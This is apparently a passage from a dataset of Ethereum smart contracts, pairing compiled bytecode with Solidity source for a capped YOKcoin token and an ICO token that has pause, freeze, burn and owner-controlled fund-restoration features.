8373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122053b574af0579cbf1f318ddd2803fdc8c6977efbef00f4ddee5d1f008c57414d064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,601 |
0x05Fcc72CFb4150AbAE415c885f7a433Ff523296F
|
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract YOK is CappedToken {
string public name = "YOKcoin";
string public symbol = "YOK";
uint8 public decimals = 18;
constructor(
uint256 _cap
)
public
CappedToken( _cap ) {
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce56714610228578063355274ea1461025357806340c10f1914610268578063661884631461028c57806370a08231146102b0578063715018a6146102d15780637d64bcb4146102e85780638da5cb5b146102fd57806395d89b411461032e578063a9059cbb14610343578063d73dd62314610367578063dd62ed3e1461038b578063f2fde38b146103b2575b600080fd5b34801561010c57600080fd5b506101156103d3565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103f4565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610482565b3480156101e357600080fd5b506101ec6104e8565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a03600435811690602435166044356104ee565b34801561023457600080fd5b5061023d610663565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b506101ec61066c565b34801561027457600080fd5b50610115600160a060020a0360043516602435610672565b34801561029857600080fd5b50610115600160a060020a03600435166024356106a8565b3480156102bc57600080fd5b506101ec600160a060020a0360043516610797565b3480156102dd57600080fd5b506102e66107b2565b005b3480156102f457600080fd5b50610115610820565b34801561030957600080fd5b506103126108c6565b60408051600160a060020a039092168252519081900360200190f35b34801561033a57600080fd5b5061013e6108d5565b34801561034f57600080fd5b50610115600160a060020a0360043516602435610930565b34801561037357600080fd5b50610115600160a060020a0360043516602435610a0f565b34801561039757600080fd5b506101ec600160a060020a0360043581169060243516610aa8565b3480156103be57600080fd5b506102e6600160a060020a0360043516610ad3565b60035474010000000000000000000000000000000000000000900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b820191906000526020600020905b81548152906001019060200180831161045d57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a03831660009081526020819052604081205482111561051357600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561054357600080fd5b600160a060020a038316151561055857600080fd5b600160a060020a038416600090815260208190526040902054610581908363ffffffff610af616565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105b6908363ffffffff610b0816565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105f8908363ffffffff610af616565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60075460ff1681565b60045481565b600060045461068c83600154610b0890919063ffffffff16565b111561069757600080fd5b6106a18383610b1b565b9392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106106fc57336000908152600260209081526040808320600160a060020a0388168452909152812055610731565b61070c818463ffffffff610af616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146107c957600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461083a57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561086257600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b3360009081526020819052604081205482111561094c57600080fd5b600160a060020a038316151561096157600080fd5b33600090815260208190526040902054610981908363ffffffff610af616565b3360009081526020819052604080822092909255600160a060020a038516815220546109b3908363ffffffff610b0816565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a43908363ffffffff610b0816565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610aea57600080fd5b610af381610c36565b50565b600082821115610b0257fe5b50900390565b81810182811015610b1557fe5b92915050565b600354600090600160a060020a03163314610b3557600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610b5d57600080fd5b600154610b70908363ffffffff610b0816565b600155600160a060020a038316600090815260208190526040902054610b9c908363ffffffff610b0816565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a0381161515610c4b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058209e2614877db18568276400ee173695b3e3edcdcae9592b208b7ebcd9ec9e95af0029
|
{"success": true, "error": null, "results": {}}
| 2,602 |
0x50ed083dc4f94d96cd4ceca93f894025d55c8756
|
pragma solidity ^0.5.0;
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assertThat(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assertThat(b > 0);
uint c = a / b;
assertThat(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assertThat(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assertThat(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function assertThat(bool assertion) internal pure {
if (!assertion) {
revert();
}
}
}
/**
* Standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
*
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, SafeMath {
string public name;
string public symbol;
uint public decimals;
/* Actual balances of token holders */
mapping(address => uint) balances;
/* approve() allowances */
mapping (address => mapping (address => uint)) allowed;
/**
*
* Fix for the ERC20 short address attack
*
* http://vessenes.com/the-erc20-short-address-attack-explained/
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Freezable
* @dev Base contract which allows children to freeze the operations from a certain address in case of an emergency.
*/
contract Freezable is Ownable {
mapping (address => bool) internal frozenAddresses;
modifier ifNotFrozen() {
require(frozenAddresses[msg.sender] == false);
_;
}
function freezeAddress(address addr) public onlyOwner {
frozenAddresses[addr] = true;
}
function unfreezeAddress(address addr) public onlyOwner {
frozenAddresses[addr] = false;
}
}
/**
* @title Freezable token
* @dev StandardToken modified with freezable transfers.
**/
contract FreezableToken is StandardToken, Freezable {
function transfer(address _to, uint256 _value) public ifNotFrozen returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public ifNotFrozen returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public ifNotFrozen returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public ifNotFrozen returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public ifNotFrozen returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* A a standard token with an anti-theft mechanism.
* Is able to restore stolen funds to a new address where the corresponding private key is safe.
*
*/
contract AntiTheftToken is FreezableToken {
function restoreFunds(address from, address to, uint amount) public onlyOwner {
//can only restore stolen funds from a frozen address
require(frozenAddresses[from] == true);
require(to != address(0));
require(amount <= balances[from]);
balances[from] = safeSub(balances[from], amount);
balances[to] = safeAdd(balances[to], amount);
emit Transfer(from, to, amount);
}
}
contract BurnableToken is StandardToken {
/** How many tokens we burned */
event Burned(address burner, uint burnedAmount);
/**
* Burn extra tokens from a balance.
*
*/
function burn(uint burnAmount) public {
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
emit Burned(burner, burnAmount);
}
}
contract ICOToken is BurnableToken, AntiTheftToken, PausableToken {
constructor(string memory _name, string memory _symbol, uint _decimals, uint _max_supply) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _max_supply * (10 ** _decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x608060405234801561001057600080fd5b5060043610610149576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100ca578063bfb805471161008e578063bfb8054714610592578063c731c504146105d6578063d73dd62314610644578063dd62ed3e146106aa578063f2fde38b1461072257610149565b806370a08231146103fd5780638456cb59146104555780638da5cb5b1461045f57806395d89b41146104a9578063a9059cbb1461052c57610149565b80633f4ba83a116101115780633f4ba83a146102f957806342966c681461030357806351e946d5146103315780635c975abb14610375578063661884631461039757610149565b806306fdde031461014e578063095ea7b3146101d157806318160ddd1461023757806323b872dd14610255578063313ce567146102db575b600080fd5b610156610766565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61021d600480360360408110156101e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610804565b604051808215151515815260200191505060405180910390f35b61023f610834565b6040518082815260200191505060405180910390f35b6102c16004803603606081101561026b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083a565b604051808215151515815260200191505060405180910390f35b6102e361086c565b6040518082815260200191505060405180910390f35b610301610872565b005b61032f6004803603602081101561031957600080fd5b8101908080359060200190929190505050610932565b005b6103736004803603602081101561034757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a44565b005b61037d610afb565b604051808215151515815260200191505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0e565b604051808215151515815260200191505060405180910390f35b61043f6004803603602081101561041357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3e565b6040518082815260200191505060405180910390f35b61045d610b87565b005b610467610c48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b1610c6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f15780820151818401526020810190506104d6565b50505050905090810190601f16801561051e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105786004803603604081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0c565b604051808215151515815260200191505060405180910390f35b6105d4600480360360208110156105a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3c565b005b610642600480360360608110156105ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df3565b005b6106906004803603604081101561065a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ba565b604051808215151515815260200191505060405180910390f35b61070c600480360360408110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ea565b6040518082815260200191505060405180910390f35b6107646004803603602081101561073857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611171565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107fc5780601f106107d1576101008083540402835291602001916107fc565b820191906000526020600020905b8154815290600101906020018083116107df57829003601f168201915b505050505081565b6000600860009054906101000a900460ff1615151561082257600080fd5b61082c8383611248565b905092915050565b60005481565b6000600860009054906101000a900460ff1615151561085857600080fd5b6108638484846112ba565b90509392505050565b60035481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ce57600080fd5b600860009054906101000a900460ff1615156108e957600080fd5b6000600860006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000339050610980600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361132e565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cf6000548361132e565b6000819055507f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df78183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa057600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900460ff1681565b6000600860009054906101000a900460ff16151515610b2c57600080fd5b610b368383611347565b905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610be357600080fd5b600860009054906101000a900460ff16151515610bff57600080fd5b6001600860006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d045780601f10610cd957610100808354040283529160200191610d04565b820191906000526020600020905b815481529060010190602001808311610ce757829003601f168201915b505050505081565b6000600860009054906101000a900460ff16151515610d2a57600080fd5b610d3483836113b9565b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9857600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff